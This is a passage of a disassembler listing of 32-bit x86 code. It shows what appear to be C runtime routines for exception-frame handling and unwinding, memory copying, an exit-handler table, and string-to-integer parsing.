		add	esp, 20h
		pop	ebp
		retn
sub_41619D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161C2	proc near		; CODE XREF: sub_41A595+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_416276
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_416248
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_469504
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_416248:				; DATA XREF: sub_4161C2+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_416265
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41626E
; ---------------------------------------------------------------------------


loc_416265:				; CODE XREF: sub_4161C2+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41626E:				; CODE XREF: sub_4161C2+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4161C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416276	proc near		; DATA XREF: sub_4161C2+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_416299
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_4162E6
; ---------------------------------------------------------------------------


loc_416299:				; CODE XREF: sub_416276+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A353
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4162D7
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4160C4


loc_4162D7:				; CODE XREF: sub_416276+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_4162E6:				; CODE XREF: sub_416276+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162EB	proc near		; CODE XREF: sub_41A3EE+C6p
					; sub_41A595+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_416342


loc_416309:				; CODE XREF: sub_4162EB+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416313
		call	sub_41ABF2


loc_416313:				; CODE XREF: sub_4162EB+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_416328
		cmp	ecx, [eax+8]
		jle	short loc_41632D


loc_416328:				; CODE XREF: sub_4162EB+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416339


loc_41632D:				; CODE XREF: sub_4162EB+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_416339:				; CODE XREF: sub_4162EB+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_416309
		mov	eax, [ebp+var_4]


loc_416342:				; CODE XREF: sub_4162EB+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_416356
		cmp	esi, eax
		jbe	short loc_41635B


loc_416356:				; CODE XREF: sub_4162EB+65j
		call	sub_41ABF2


loc_41635B:				; CODE XREF: sub_4162EB+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_4162EB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416368	proc near		; CODE XREF: sub_41CE08+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_416380
		push	[ebp+arg_0]
		call	sub_42010C	; RtlUnwind


loc_416380:				; DATA XREF: sub_416368+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416368	endp


; =============== S U B	R O U T	I N E =======================================



sub_416388	proc near		; DATA XREF: sub_4163AA+Ao
					; sub_416412+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4163A9
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4163A9:				; CODE XREF: sub_416388+10j
		retn
sub_416388	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163AA	proc near		; CODE XREF: sub_41A86F+Dp
					; sub_41CE08+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_416388
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4163C7:				; CODE XREF: sub_4163AA:loc_416402j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416404
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_416404
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_416402
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41643E
		call	dword ptr [ebx+esi*4+8]


loc_416402:				; CODE XREF: sub_4163AA+44j
		jmp	short loc_4163C7
; ---------------------------------------------------------------------------


loc_416404:				; CODE XREF: sub_4163AA+2Aj
					; sub_4163AA+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4163AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416412	proc near		; CODE XREF: sub_41A88F+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_416388
		jnz	short locret_416434
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_416434
		mov	eax, 1

locret_416434:				; CODE XREF: sub_416412+10j
					; sub_416412+1Bj
		retn
sub_416412	endp


; =============== S U B	R O U T	I N E =======================================



sub_416435	proc near		; CODE XREF: sub_41AB50+1Ep
					; sub_41AB50+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D3C
		jmp	short loc_416448
sub_416435	endp


; =============== S U B	R O U T	I N E =======================================



sub_41643E	proc near		; CODE XREF: sub_4163AA+4Fp
					; sub_41CE08+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D3C
		mov	ecx, [ebp+8]


loc_416448:				; CODE XREF: sub_416435+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41643E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_416458	proc near		; CODE XREF: sub_4046AA+5p
					; sub_40484C+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416458	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416477	proc near		; CODE XREF: sub_404D21+26p
					; seg000:0041FEE5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415E3D
		pop	ecx
		retn
sub_416477	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416490	proc near		; CODE XREF: sub_404D92+3Ap
					; sub_418B28+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4164B0
		cmp	edi, eax
		jb	loc_416628


loc_4164B0:				; CODE XREF: sub_416490+16j
		test	edi, 3
		jnz	short loc_4164CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	ds:off_4165D8[edx*4]
; ---------------------------------------------------------------------------


loc_4164CC:				; CODE XREF: sub_416490+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4164E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4164EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4164E4:				; CODE XREF: sub_416490+46j
		jmp	dword ptr ds:loc_4165E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4164EC:				; CODE XREF: sub_416490+31j
					; sub_416490+8Ej ...
		jmp	ds:off_41656C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_416500
		dd offset loc_41652C
		dd offset loc_416550
; ---------------------------------------------------------------------------


loc_416500:				; DATA XREF: sub_416490+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	ds:off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41652C:				; DATA XREF: sub_416490+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	ds:off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416550:				; DATA XREF: sub_416490+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	ds:off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41656C	dd offset loc_4165CF	; DATA XREF: sub_416490:loc_4164ECr
		dd offset loc_4165BC
		dd offset loc_4165B4
		dd offset loc_4165AC
		dd offset loc_4165A4
		dd offset loc_41659C
		dd offset loc_416594
		dd offset loc_41658C
; ---------------------------------------------------------------------------


loc_41658C:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_416594:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41659C:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4165A4:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4165AC:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4165B4:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4165BC:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4165CF:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490:off_41656Co
		jmp	ds:off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4165D8	dd offset loc_4165E8	; DATA XREF: sub_416490+35r
					; sub_416490+92r ...
		dd offset loc_4165F0
		dd offset loc_4165FC
		dd offset loc_416610
; ---------------------------------------------------------------------------


loc_4165E8:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4165F0:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4165FC:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_416610:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416628:				; CODE XREF: sub_416490+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41665C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	ds:off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416650:				; CODE XREF: sub_416490+1B1j
					; sub_416490+208j ...
		neg	ecx
		jmp	ds:off_416720[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41665C:				; CODE XREF: sub_416490+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416674
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_416674+4[eax*4]
; ---------------------------------------------------------------------------


loc_416674:				; CODE XREF: sub_416490+1D6j
					; DATA XREF: sub_416490+1DDr
		jmp	ds:off_416770[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[esi+41h], ah
		add	[eax-2FFFBE9Ah], ch
		inc	cx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	ds:off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	ds:off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_416650
		std
		rep movsd
		cld
		jmp	ds:off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416724
		dd offset loc_41672C
		dd offset loc_416734
		dd offset loc_41673C
		dd offset loc_416744
		dd offset loc_41674C
		dd offset loc_416754
off_416720	dd offset loc_416767	; DATA XREF: sub_416490+1C2r
; ---------------------------------------------------------------------------


loc_416724:				; DATA XREF: sub_416490+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41672C:				; DATA XREF: sub_416490+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_416734:				; DATA XREF: sub_416490+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41673C:				; DATA XREF: sub_416490+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_416744:				; DATA XREF: sub_416490+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41674C:				; DATA XREF: sub_416490+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_416754:				; DATA XREF: sub_416490+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_416767:				; CODE XREF: sub_416490+1C2j
					; DATA XREF: sub_416490:off_416720o
		jmp	ds:off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416770	dd offset loc_416780	; DATA XREF: sub_416490+1B7r
					; sub_416490:loc_416674r ...
		dd offset loc_416788
		dd offset loc_416798
		dd offset loc_4167AC
; ---------------------------------------------------------------------------


loc_416780:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416788:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416798:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4167AC:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_416490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167C5	proc near		; CODE XREF: sub_404DF9+34p
					; sub_404DF9+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415DDB
		pop	ecx
		pop	ecx
		retn
sub_4167C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167D3	proc near		; CODE XREF: sub_416840+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_46AAF4
		call	sub_41AC48
		mov	edx, ds:dword_46AAF4
		pop	ecx
		mov	ecx, ds:dword_46AAF0
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_416832
		push	edx
		call	sub_41AC48
		add	eax, 10h
		push	eax
		push	ds:dword_46AAF4
		call	sub_4174DF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416815
		retn
; ---------------------------------------------------------------------------


loc_416815:				; CODE XREF: sub_4167D3+3Fj
		mov	ecx, ds:dword_46AAF0
		sub	ecx, ds:dword_46AAF4
		mov	ds:dword_46AAF4, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_46AAF0, ecx


loc_416832:				; CODE XREF: sub_4167D3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_46AAF0, 4
		retn
sub_4167D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416840	proc near		; CODE XREF: sub_404EE6+1Ap
					; sub_4200EE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4167D3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_416840	endp


; =============== S U B	R O U T	I N E =======================================



sub_416852	proc near		; DATA XREF: seg002:00423018o
		push	80h
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		mov	ds:dword_46AAF4, eax
		jnz	short loc_416873
		push	18h
		call	sub_417BEE
		mov	eax, ds:dword_46AAF4
		pop	ecx


loc_416873:				; CODE XREF: sub_416852+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_46AAF4
		mov	ds:dword_46AAF0, eax
		retn
sub_416852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416881	proc near		; CODE XREF: sub_416A89+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_416899:				; CODE XREF: sub_416881+46j
		cmp	ds:dword_437F6C, 1
		jle	short loc_4168B1
		movzx	eax, bl
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4168C0
; ---------------------------------------------------------------------------


loc_4168B1:				; CODE XREF: sub_416881+1Fj
		mov	ecx, ds:off_437D60
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4168C0:				; CODE XREF: sub_416881+2Ej
		test	eax, eax
		jz	short loc_4168C9
		mov	bl, [esi]
		inc	esi
		jmp	short loc_416899
; ---------------------------------------------------------------------------


loc_4168C9:				; CODE XREF: sub_416881+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_4168D7
		or	[ebp+arg_C], 2
		jmp	short loc_4168DC
; ---------------------------------------------------------------------------


loc_4168D7:				; CODE XREF: sub_416881+4Ej
		cmp	bl, 2Bh
		jnz	short loc_4168E2


loc_4168DC:				; CODE XREF: sub_416881+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_4168E2:				; CODE XREF: sub_416881+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_416A79
		cmp	eax, 1
		jz	loc_416A79
		cmp	eax, 24h
		jg	loc_416A79
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41692A
		cmp	bl, 30h
		jz	short loc_416914
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_416946
; ---------------------------------------------------------------------------


loc_416914:				; CODE XREF: sub_416881+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_416927
		cmp	al, 58h
		jz	short loc_416927
		mov	[ebp+arg_8], 8
		jmp	short loc_416946
; ---------------------------------------------------------------------------


loc_416927:				; CODE XREF: sub_416881+97j
					; sub_416881+9Bj
		mov	[ebp+arg_8], ecx


loc_41692A:				; CODE XREF: sub_416881+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_416946
		cmp	bl, 30h
		jnz	short loc_416946
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41693E
		cmp	al, 58h
		jnz	short loc_416946


loc_41693E:				; CODE XREF: sub_416881+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_416946:				; CODE XREF: sub_416881+91j
					; sub_416881+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_416956:				; CODE XREF: sub_416881+16Cj
		cmp	ds:dword_437F6C, 1
		movzx	esi, bl
		jle	short loc_41696E
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_416979
; ---------------------------------------------------------------------------


loc_41696E:				; CODE XREF: sub_416881+DFj
		mov	eax, ds:off_437D60
		mov	al, [eax+esi*2]
		and	eax, 4


loc_416979:				; CODE XREF: sub_416881+EBj
		test	eax, eax
		jz	short loc_416985
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4169B7
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416881+FAj
		cmp	ds:dword_437F6C, 1
		jle	short loc_416999
		push	edi
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4169A4
; ---------------------------------------------------------------------------


loc_416999:				; CODE XREF: sub_416881+10Bj
		mov	eax, ds:off_437D60
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_4169A4:				; CODE XREF: sub_416881+116j
		test	eax, eax
		jz	short loc_4169F2
		movsx	eax, bl
		push	eax
		call	sub_41AC71
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_4169B7:				; CODE XREF: sub_416881+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4169F2
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_4169DC
		jnz	short loc_4169D6
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_4169DC


loc_4169D6:				; CODE XREF: sub_416881+147j
		or	[ebp+arg_C], 4
		jmp	short loc_4169E5
; ---------------------------------------------------------------------------


loc_4169DC:				; CODE XREF: sub_416881+145j
					; sub_416881+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_4169E5:				; CODE XREF: sub_416881+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_416956
; ---------------------------------------------------------------------------


loc_4169F2:				; CODE XREF: sub_416881+125j
					; sub_416881+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_416A10
		test	edx, edx
		jz	short loc_416A0A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_416A0A:				; CODE XREF: sub_416881+181j
		and	[ebp+var_8], 0
		jmp	short loc_416A5D
; ---------------------------------------------------------------------------


loc_416A10:				; CODE XREF: sub_416881+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_416A36
		test	cl, 1
		jnz	short loc_416A5D
		and	ecx, 2
		jz	short loc_416A2D
		cmp	[ebp+var_8], 80000000h
		ja	short loc_416A36


loc_416A2D:				; CODE XREF: sub_416881+1A1j
		test	ecx, ecx
		jnz	short loc_416A5D
		cmp	[ebp+var_8], eax
		jbe	short loc_416A5D


loc_416A36:				; CODE XREF: sub_416881+197j
					; sub_416881+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_469484, 22h
		jz	short loc_416A4C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_416A5D
; ---------------------------------------------------------------------------


loc_416A4C:				; CODE XREF: sub_416881+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
